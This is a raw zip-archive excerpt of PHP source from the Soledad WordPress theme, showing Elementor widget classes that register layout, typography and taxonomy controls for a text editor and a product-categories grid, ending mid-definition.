					'{{WRAPPER}}' => 'color: {{VALUE}};',
				),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			array(
				'name'     => 'typography',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-block_content .elementor-text-editor, {{WRAPPER}} .penci-block_content .elementor-text-editor p, {{WRAPPER}} .penci-block_content .elementor-text-editor a',
			)
		);

		$text_columns     = range( 1, 10 );
		$text_columns     = array_combine( $text_columns, $text_columns );
		$text_columns[''] = __( 'Default', 'elementor' );

		$this->add_responsive_control(
			'text_columns',
			array(
				'label'     => __( 'Columns', 'elementor' ),
				'type'      => Controls_Manager::SELECT,
				'separator' => 'before',
				'options'   => $text_columns,
				'selectors' => array(
					'{{WRAPPER}} .elementor-text-editor' => 'columns: {{VALUE}};',
				),
			)
		);

		$this->add_responsive_control(
			'column_gap',
			array(
				'label'      => __( 'Columns Gap', 'elementor' ),
				'type'       => Controls_Manager::SLIDER,
				'size_units' => array( 'px', '%', 'em', 'vw' ),
				'range'      => array(
					'px' => array( 'max' => 100 ),
					'%'  => array(
						'max'  => 10,
						'step' => 0.1,
					),
					'vw' => array(
						'max'  => 10,
						'step' => 0.1,
					),
					'em' => array(
						'max'  => 10,
						'step' => 0.1,
					),
				),
				'selectors'  => array( '{{WRAPPER}} .elementor-text-editor' => 'column-gap: {{SIZE}}{{UNIT}};' ),
			)
		);

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();
	}

	protected function render() {
		$settings = $this->get_settings();

		$css_class      = 'penci-block-vc penci-text-editor';
		$editor_content = $this->get_settings_for_display( 'editor' );

		$editor_content = $this->parse_text_editor( $editor_content );

		$this->add_render_attribute( 'editor', 'class', array( 'elementor-text-editor', 'elementor-clearfix' ) );
		
		if ( $settings['entry_format'] ) {
			$this->add_render_attribute( 'editor', 'class', 'post-entry entry-content' );
		}

		$this->add_inline_editing_attributes( 'editor', 'advanced' );
		?>
		<div class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
			<div class="penci-block_content">
				<div <?php echo $this->get_render_attribute_string( 'editor' ); ?>><?php echo $editor_content; ?></div>
			</div>
		</div>
		<?php
	}
}
PK     N\!?  ?  >  inc/elementor/modules/penci-product-categories-grid/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciProductCategoriesGrid;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci_product_categories_grid';
	}

	public function get_widgets() {
		return array( 'PenciProductCategoriesGrid' );
	}
}
PK     N\j  j  ]  inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciProductCategoriesGrid\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Background;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Direct access not allowed.
}

/**
 * Elementor widget that inserts an embeddable content into the page, from any given URL.
 *
 * @since 1.0.0
 */
class PenciProductCategoriesGrid extends Base_Widget {
	/**
	 * Get widget name.
	 *
	 * @return string Widget name.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_name() {
		return 'penci_product_categories_grid';
	}

	/**
	 * Get widget title.
	 *
	 * @return string Widget title.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Categories Grid', 'soledad' );
	}

	/**
	 * Get widget icon.
	 *
	 * @return string Widget icon.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_icon() {
		return 'eicon-gallery-grid';
	}

	/**
	 * Get widget categories.
	 *
	 * @return array Widget categories.
	 * @since 1.0.0
	 * @access public
	 *Hide Category Count on Mobile
	 */
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	/**
	 * Register the widget controls.
	 *
	 * @since 1.0.0
	 * @access protected
	 */
	protected function register_controls() {
		/**
		 * Content tab.
		 */

		/**
		 * General settings.
		 */
		$this->start_controls_section(
			'general_content_section',
			[
				'label' => esc_html__( 'Categories Query', 'soledad' ),
			]
		);

		$this->add_control(
			'taxonomy',
			[
				'label'   => esc_html__( 'Taxonomy', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'category',
				'options' => penci_get_all_taxonomies(),
			]
		);

		$this->add_control(
			'product_cat_number',
			[
				'label'       => esc_html__( 'Number', 'soledad' ),
				'description' => esc_html__( 'Enter the number of categories to display for this element.', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
			]
		);

		$this->add_control(
			'taxonomy_image',
			[
				'label'   => esc_html__( 'Get image of taxonomy from', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					'latest' => esc_html__( 'Latest Post', 'soledad' ),
					'random' => esc_html__( 'Random Post', 'soledad' ),
					'view'   => esc_html__( 'Most View Post', 'soledad' ),
					'field'  => esc_html__( 'Custom Term Field', 'soledad' ),
				),
			]
		);

		$this->add_control(
			'taxonomy_image_view_key',
			[
				'label'     => esc_html__( 'Taxonomy view meta key', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => '',
				'condition' => array( 'taxonomy_image' => array( 'view' ) ),
			]
		);

		$this->add_control(
			'taxonomy_image_field',
			[
				'label'     => esc_html__( 'Taxonomy image field name', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => '',
				'condition' => array( 'taxonomy_image' => array( 'field' ) ),
			]
		);

		$this->add_control(
			'product_cat_orderby',
			[
				'label'   => esc_html__( 'Order by', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''           => '',
					'id'         => esc_html__( 'ID', 'soledad' ),
					'date'       => esc_html__( 'Date', 'soledad' ),
					'title'      => esc_html__( 'Title', 'soledad' ),
					'menu_order' => esc_html__( 'Menu order', 'soledad' ),
					'modified'   => esc_html__( 'Last modified date', 'soledad' ),
				),
			]
		);

		$this->add_control(
			'product_cat_order',
			[
				'label'   => esc_html__( 'Sort order', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''     => esc_html__( 'Inherit', 'soledad' ),
					'DESC' => esc_html__( 'Descending', 'soledad' ),
					'ASC'  => esc_html__( 'Ascending', 'soledad' ),
				),
			]
		);

		// Taxonomy Include

		$this->add_control(
			'product_cat_ids',
			[
				'label'       => esc_html__( 'Categories', 'soledad' ),
				'description' => esc_html__( 'List of product categories.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_taxonomies_by_query',
				'render'      => 'penci_get_taxonomies_title_by_id',
				'taxonomy'    => 'product_cat',
				'multiple'    => true,
				'label_block' => true,
				'condition'   => array( 'taxonomy' => array( 'product_cat' ) ),
			]
		);

		$this->add_control(
			'category_ids',
			[
				'label'       => esc_html__( 'Categories', 'soledad' ),
				'description' => esc_html__( 'List of post categories.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_taxonomies_by_query',
				'render'      => 'penci_get_taxonomies_title_by_id',
				'taxonomy'    => 'category',
				'multiple'    => true,
				'label_block' => true,
				'condition'   => array( 'taxonomy' => array( 'category' ) ),
			]
		);

		$this->add_control(
			'post_tag_ids',
			[
				'label'       => esc_html__( 'Post Tags', 'soledad' ),
				'description' => esc_html__( 'List of post tags.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_taxonomies_by_query',
				'render'      => 'penci_get_taxonomies_title_by_id',
				'taxonomy'    => 'post_tag',
				'multiple'    => true,
				'label_block' => true,
				'condition'   => array( 'taxonomy' => array( 'post_tag' ) ),
			]
		);

		$this->add_control(
			'product_tag_ids',
			[
				'label'       => esc_html__( 'Product Tags', 'soledad' ),
				'description' => esc_html__( 'List of product tags.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_taxonomies_by_query',
				'render'      => 'penci_get_taxonomies_title_by_id',
				'taxonomy'    => 'product_tag',
				'multiple'    => true,
				'label_block' => true,
				'condition'   => array( 'taxonomy' => array( 'product_tag' ) ),
			]
		);

		$this->add_control(
			'portfolio-category_ids',
			[
				'label'       => esc_html__( 'Portfolio Categories', 'soledad' ),
				'description' => esc_html__( 'List of porfolio categories.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_taxonomies_by_query',
				'render'      => 'penci_get_taxonomies_title_by_id',
				'taxonomy'    => 'portfolio-category',
				'multiple'    => true,
				'label_block' => true,
				'condition'   => array( 'taxonomy' => array( 'portfolio-category' ) ),
			]
		);

		// Taxonomy Exclude

		$this->add_control(
			'product_cat_ids_ex',
			[
				'label'       => esc_html__( 'Exclude Product Categories', 'soledad' ),
				'description' => esc_html__( 'List of product categories you want to exclude.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_taxonomies_by_query',
				'render'      => 'penci_get_taxonomies_title_by_id',
				'taxonomy'    => 'product_cat',
				'multiple'    => true,
				'label_block' => true,
				'condition'   => array( 'taxonomy' => array( 'product_cat' ) ),
			]
		);

		$this->add_control(
			'category_ids_ex',
			[
				'label'       => esc_html__( 'Exclude Categories', 'soledad' ),
				'description' => esc_html__( 'List of post categories you want to exclude.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_taxonomies_by_query',
				'render'      => 'penci_get_taxonomies_title_by_id',
				'taxonomy'    => 'category',
				'multiple'    => true,
				'label_block' => true,
				'condition'   => array( 'taxonomy' => array( 'category' ) ),
			]
		);

		$this->add_control(
			'post_tag_ids_ex',
			[
				'label'       => esc_html__( 'Exclude Post Tags', 'soledad' ),
				'description' => esc_html__( 'List of post tags you want to exclude.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_taxonomies_by_query',
				'render'      => 'penci_get_taxonomies_title_by_id',
				'taxonomy'    => 'post_tag',
				'multiple'    => true,
				'label_block' => true,
				'condition'   => array( 'taxonomy' => array( 'post_tag' ) ),
			]
		);

		$this->add_control(
			'product_tag_ids_ex',
			[
				'label'       => esc_html__( 'Exclude Product Tags', 'soledad' ),
				'description' => esc_html__( 'List of product tags you want to exclude.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_taxonomies_by_query',
				'render'      => 'penci_get_taxonomies_title_by_id',
				'taxonomy'    => 'product_tag',
				'multiple'    => true,
				'label_block' => true,
				'condition'   => array( 'taxonomy' => array( 'product_tag' ) ),
			]
		);

		$this->add_control(
			'portfolio-category_ids_ex',
			[
				'label'       => esc_html__( 'Exclude Portfolio Categories', 'soledad' ),
				'description' => esc_html__( 'List of porfolio categories you want to exclude.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_taxonomies_by_query',
				'render'      => 'penci_get_taxonomies_title_by_id',
				'taxonomy'    => 'portfolio-category',
				'multiple'    => true,
				'label_block' => true,
				'condition'   => array( 'taxonomy' => array( 'portfolio-category' ) ),
			]
		);

		// End Taxonomy Settings

		$this->add_control(
			'product_cat_hide_empty',
			[
				'label'        => esc_html__( 'Hide empty', 'soledad' ),
				'description'  => esc_html__( 'Don’t display categories that don’t have any products assigned.', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'yes',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'yes',
			]
		);

		$this->end_controls_section();

		/**
		 * Title settings.
		 */


		// Section layout
		$this->start_controls_section(
			'section_general', array(
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'style', array(
				'label'   => __( 'Categories Grid Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'style-1',
				'options' => array(
					'style-1'  => esc_html__( 'Grid ( Default )', 'soledad' ),
					'style-2'  => esc_html__( 'Masonry', 'soledad' ),
					'style-3'  => esc_html__( 'Style 3', 'soledad' ),
					'style-4'  => esc_html__( 'Style 4', 'soledad' ),
					'style-5'  => esc_html__( 'Style 5', 'soledad' ),
					'style-6'  => esc_html__( 'Style 6', 'soledad' ),
					'style-7'  => esc_html__( 'Style 7', 'soledad' ),
					'style-8'  => esc_html__( 'Style 8', 'soledad' ),
					'style-9'  => esc_html__( 'Style 9', 'soledad' ),
					'style-10' => esc_html__( 'Style 10', 'soledad' ),
					'style-11' => esc_html__( 'Style 11', 'soledad' ),
					'style-12' => esc_html__( 'Style 12', 'soledad' ),
					'style-13' => esc_html__( 'Style 13', 'soledad' ),
					'style-14' => esc_html__( 'Style 14', 'soledad' ),
					'style-15' => esc_html__( 'Style 15', 'soledad' ),
					'style-16' => esc_html__( 'Style 16', 'soledad' ),
					'style-17' => esc_html__( 'Style 17', 'soledad' ),
					'style-18' => esc_html__( 'Style 18', 'soledad' ),
				)
			)
		);

		$this->add_control(
			'bg_columns', array(
				'label'     => __( 'Grid/Masonry Style Columns', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '3',
				'options'   => array(
					'1' => esc_html__( '1 Column', 'soledad' ),
					'2' => esc_html__( '2 Columns', 'soledad' ),
					'3' => esc_html__( '3 Columns', 'soledad' ),
					'4' => esc_html__( '4 Columns', 'soledad' ),
					'5' => esc_html__( '5 Columns', 'soledad' ),
					'6' => esc_html__( '6 Columns', 'soledad' )
				),
				'condition' => array( 'style' => array( 'style-1', 'style-2' ) ),
			)
		);

		$this->add_control(
			'bg_columns_mobile', array(
				'label'     => __( 'Grid/Masonry Style Columns on Mobile', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '1',
				'options'   => array(
					'1' => esc_html__( '1 Column', 'soledad' ),
					'2' => esc_html__( '2 Columns', 'soledad' ),
				),
				'condition' => array( 'style' => array( 'style-1', 'style-2' ) ),
			)
		);

		$this->add_control(
			'hide_subtitle', array(
				'label'        => __( 'Hide Category Count', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
				'default'      => '',
			)
		);

		$this->add_control(
			'hide_subtitle_mobile', array(
				'label'        => __( 'Hide Category Count on Mobile', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
				'default'      => '',
				'condition'    => array( 'hide_subtitle!' => array( 'yes' ) ),
			)
		);

		$this->add_control(
			'onecol_mobile', array(
				'label'        => __( 'Display One Column on Mobile?', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
				'default'      => '',
				'condition'    => array(
					'style!' => array( 'style-1', 'style-2' ),
				),
			)
		);

		$this->add_control(
			'sameh_mobile', array(
				'label'        => __( 'Display Grid Items Same Height on Mobile?', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
				'default'      => '',
				'condition'    => array(
					'onecol_mobile' => 'yes',
					'style!'        => array( 'style-1', 'style-2' ),
				),
			)
		);

		$this->add_control(
			'bgcontent_pos', array(
				'label'     => __( 'Categories Grid Content Position', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'on',
				'options'   => array(
					'on'    => esc_html__( 'On Image', 'soledad' ),
					'below' => esc_html__( 'Below Image', 'soledad' ),
					'above' => esc_html__( 'Above Image', 'soledad' ),
				),
				'condition' => array( 'style' => array( 'style-1', 'style-2' ) ),
			)
		);

		$this->add_responsive_control(
			'bg_gap', array(
				'label'     => __( 'Gap Between Items', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-bgstyle-1 .penci-dflex'                                              => 'margin-left: calc(-{{SIZE}}px/2); margin-right: calc(-{{SIZE}}px/2); width: calc(100% + {{SIZE}}px);',
					'{{WRAPPER}} .penci-bgstyle-2 .item-masonry, {{WRAPPER}} .penci-bgstyle-1 .penci-bgitem' => 'padding-left: calc({{SIZE}}px/2); padding-right: calc({{SIZE}}px/2); margin-bottom: {{SIZE}}px',
					'{{WRAPPER}} .penci-bgstyle-2 .penci-biggrid-data'                                       => 'margin-left: calc(-{{SIZE}}px/2); margin-right: calc(-{{SIZE}}px/2);',
				),
				'condition' => array( 'style' => array( 'style-1', 'style-2' ) ),
			)
		);

		$this->add_responsive_control(
			'penci_img_ratio', array(
				'label'     => __( 'Adjust Ratio of Images( Unit % )', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => array( 'size' => 66 ),
				'range'     => array( 'px' => array( 'min' => 1, 'max' => 300, 'step' => 0.5 ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-bgitem .penci-image-holder:before' => 'padding-top: {{SIZE}}%;',
				),
				'condition' => array( 'style' => array( 'style-1' ) ),
			)
		);

		$this->add_responsive_control(
			'bg_height', array(
				'label'     => __( 'Custom Categories Grid Height (Unit is px)', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 2000, ) ),
				'condition' => array( 'style!' => array( 'style-1', 'style-2' ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-biggrid .penci-fixh' => '--bgh: {{SIZE}}px;',
				),
			)
		);

		$this->add_control(
			'disable_lazy', array(
				'label'        => __( 'Disable Lazyload Images?', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
				'default'      => '',
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'biggrid_section_imgsize', array(
				'label' => __( 'Custom Image Sizes', 'soledad' ),
			)
		);

		$this->add_control(
			'thumb_size', array(
				'label'   => __( 'Custom Image Size', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => $this->get_list_image_sizes( true ),
			)
		);

		$this->add_control(
			'bthumb_size', array(
				'label'     => __( 'Image Size for Big Items', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'options'   => $this->get_list_image_sizes( true ),
				'condition' => array( 'style!' => array( 'style-1', 'style-2' ) ),
			)
		);

		$this->add_control(
			'mthumb_size', array(
				'label'   => __( 'Custom Image Size for Mobile', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => $this->get_list_image_sizes( true ),
			)
		);

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		/**
		 * Translate settings.
		 */

		$this->start_controls_section(
			'section_biggrid_translate',
			array(
				'label' => __( 'Quick Text Translate', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'text_item',
			array(
				'label'   => esc_html__( 'Text: % Item', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => '% item',
			)
		);

		$this->add_control(
			'text_items',
			array(
				'label'   => esc_html__( 'Text: % Items', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => '% items',
			)
		);

		$this->end_controls_section();

		/**
		 * Design settings.
		 */

		$this->start_controls_section(
			'section_biggrid_design',
			array(
				'label' => __( 'Categories Grid Style', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'bg_pos_display',
			array(
				'label'     => esc_html__( 'Content Text Position and Display', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'content_horizontal_position', array(
				'label'                => __( 'Content Text Horizontal Position', 'soledad' ),
				'type'                 => Controls_Manager::CHOOSE,
				'label_block'          => false,
				'options'              => array(
					'left'   => array(
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-h-align-left',
					),
					'center' => array(
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-h-align-center',
					),
					'right'  => array(
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-h-align-right',
					),
				),
				'selectors'            => array(
					'{{WRAPPER}} .pcbg-content-inner' => '{{VALUE}}',
				),
				'selectors_dictionary' => array(
					'left'   => 'margin-right: auto',
					'center' => 'margin-left: auto; margin-right: auto;',
					'right'  => 'margin-left: auto',
				),
			)
		);

		$this->add_control(
			'content_vertical_position',
			array(
				'label'                => __( 'Content Text Vertical Position', 'soledad' ),
				'type'                 => Controls_Manager::CHOOSE,
				'label_block'          => false,
				'options'              => array(
					'top'    => array(
						'title' => __( 'Top', 'soledad' ),
						'icon'  => 'eicon-v-align-top',
					),
					'middle' => array(
						'title' => __( 'Middle', 'soledad' ),
						'icon'  => 'eicon-v-align-middle',
					),
					'bottom' => array(
						'title' => __( 'Bottom', 'soledad' ),
						'icon'  => 'eicon-v-align-bottom',
					),
				),
				'selectors'            => array(
					'{{WRAPPER}} .pcbg-content-flex' => 'align-items: {{VALUE}}',
				),
				'selectors_dictionary' => array(
					'top'    => 'flex-start',
					'middle' => 'center',
					'bottom' => 'flex-end',
				),
			)
		);

		$this->add_control(
			'content_text_align', array(
				'label'       => __( 'Content Text Align', 'soledad' ),
				'type'        => Controls_Manager::CHOOSE,
				'label_block' => false,
				'options'     => array(
					'left'   => array(
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					),
					'center' => array(
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					),
					'right'  => array(
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					),
				),
				'selectors'   => array(
					'{{WRAPPER}} .pcbg-content-flex' => 'text-align: {{VALUE}}'
				)
			)
		);

		$this->add_control(
			'content_display', array(
				'label'   => __( 'Content Text Display', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'block',
				'options' => array(
					'block'        => esc_html__( 'Block', 'soledad' ),
					'inline-block' => esc_html__( 'Inline Block', 'soledad' ),
				),
			)
		);

		$this->add_responsive_control(
			'content_width', array(
				'label'      => __( 'Content Text Max-Width', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'size_units' => array( '%', 'px' ),
				'range'      => array(
					'%'  => array( 'min' => 0, 'max' => 100, ),
					'px' => array( 'min' => 0, 'max' => 2000, 'step' => 1 ),
				),
				'selectors'  => array( '{{WRAPPER}} .pcbg-content-inner' => 'max-width: {{SIZE}}{{UNIT}}' ),
			)
		);

		$this->add_control(
			'bg_padding_margin',
			array(
				'label'     => esc_html__( 'Content Text Padding and Margin', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_responsive_control(
			'content_padding', array(
				'label'      => __( 'Content Text Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pcbg-content-inner' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_responsive_control(
			'content_margin', array(
				'label'      => __( 'Content Text Margin', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pcbg-content-inner' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_biggrid_overlay',
			array(
				'label' => __( 'Categories Grid Overlay', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'overlay_type', array(
				'label'   => __( 'Apply Overlay On:', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'whole',
				'options' => array(
					'whole' => 'Whole Image',
					'text'  => 'Whole Content Text',
					'none'  => 'None',
				)
			)
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			array(
				'name'      => 'overlay_bg',
				'label'     => __( 'Overlay Background', 'soledad' ),
				'types'     => array( 'classic', 'gradient', 'video' ),
				'selector'  => '{{WRAPPER}} .pcbg-bgoverlay.active-overlay, {{WRAPPER}} .pcbg-bgoverlaytext.active-overlay',
				'condition' => array( 'overlay_type!' => array( 'none' ) ),
			)
		);

		$this->add_responsive_control(
			'overlay_opacity', array(
				'label'     => __( 'Overlay Opacity(%)', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( '%' => array( 'min' => 0, 'max' => 100, 'step' => 1 ) ),
				'selectors' => array(
					'{{WRAPPER}} .pcbg-bgoverlay.active-overlay'     => 'opacity: calc( {{SIZE}}/100 )',
					'{{WRAPPER}} .pcbg-bgoverlaytext.active-overlay' => 'opacity: calc( {{SIZE}}/100 )',
				),
			)
		);

		$this->add_responsive_control(
			'overlay_hopacity', array(
				'label'     => __( 'Overlay Hover Opacity(%)', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( '%' => array( 'min' => 0, 'max' => 100, 'step' => 1 ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-bgmain:hover .pcbg-bgoverlay.active-overlay'     => 'opacity: calc( {{SIZE}}/100 )',
					'{{WRAPPER}} .penci-bgmain:hover .pcbg-bgoverlaytext.active-overlay' => 'opacity: calc( {{SIZE}}/100 )',
				),
			)
		);

		$this->add_control(
			'apply_spe_bg_title', array(
				'label' => __( 'Apply Separate Background for Title', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);

		$this->add_control(
			'spe_bg_title', array(
				'label'     => __( 'Background for Title', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .pcbg-title' => 'background-color: {{VALUE}}; border-color: {{VALUE}};',
				),
				'condition' => array( 'apply_spe_bg_title' => 'yes' ),
			)
		);

		$this->add_control(
			'spe_bg_htitle', array(
				'label'     => __( 'Background for Title on Hover', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-bgitem:hover .pcbg-title' => 'background-color: {{VALUE}}; border-color: {{VALUE}};',
				),
				'condition' => array( 'apply_spe_bg_title' => 'yes' ),
			)
		);

		$this->add_control(
			'apply_spe_bg_meta', array(
				'label' => __( 'Apply Separate Background for Category Count', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);

		$this->add_control(
			'spe_bg_meta', array(
				'label'     => __( 'Background for Category Count', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .pcbg-content-inner .pcbg-sub-title span' => 'background-color: {{VALUE}}; border-color: {{VALUE}};padding-left: 10px;padding-right:10px;',
				),
				'condition' => array( 'apply_spe_bg_meta' => 'yes' ),
			)
		);

		$this->add_control(
			'spe_bg_hmeta', array(
				'label'     => __( 'Background for Category Count on Hover', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .pcbg-content-inner .pcbg-sub-title span:hover' => 'background-color: {{VALUE}}; border-color: {{VALUE}};padding-left: 10px;padding-right:10px;',
				),
				'condition' => array( 'apply_spe_bg_meta' => 'yes' ),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_bg_hover_effect',
			array(
				'label' => __( 'Hover Effect', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'image_hover', array(
				'label'   => __( 'Image Hover Effect', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'zoom-in',
				'options' => array(
					'zoom-in'     => 'Zoom-In',
					'zoom-out'    => 'Zoom-out',
					'move-left'   => 'Move to Left',
					'move-right'  => 'Move to Right',
					'move-bottom' => 'Move to Bottom',
					'move-top'    => 'Move to Top',
					'none'        => 'None',
				)
			)
		);

		$this->add_control(
			'text_overlay', array(
				'label'   => __( 'Content Text Hover Type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'none',
				'options' => array(
					'none'    => 'None',
					'show-in' => 'Show on Hover',
					'hide-in' => 'Hide on Hover',
				)
			)
		);

		$this->add_control(
			'text_overlay_ani', array(
				'label'     => __( 'Content Text Hover Animation', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'movetop',
				'options'   => array(
					'movetop'    => 'Move to Top',
					'movebottom' => 'Move to Bottom',
					'moveleft'   => 'Move to Left',
					'moveright'  => 'Move to Right',
					'zoomin'     => 'Zoom In',
					'zoomout'    => 'Zoom Out',
					'fade'       => 'Fade',
				),
				'condition' => array( 'text_overlay!' => 'none' ),
			)
		);

		$this->add_control(
			'title_anivisi', array(
				'label'     => __( 'Makes Titles Always Visible?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'condition' => array( 'text_overlay!' => 'none' ),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_biggrid_typo',
			array(
				'label' => __( 'Categories Grid Typography & Colors', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'bgitem_design',
			array(
				'label'     => esc_html__( 'Categories Grid Items', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'bgitem_bg', array(
				'label'     => __( 'Background Color', 'soledad' ),
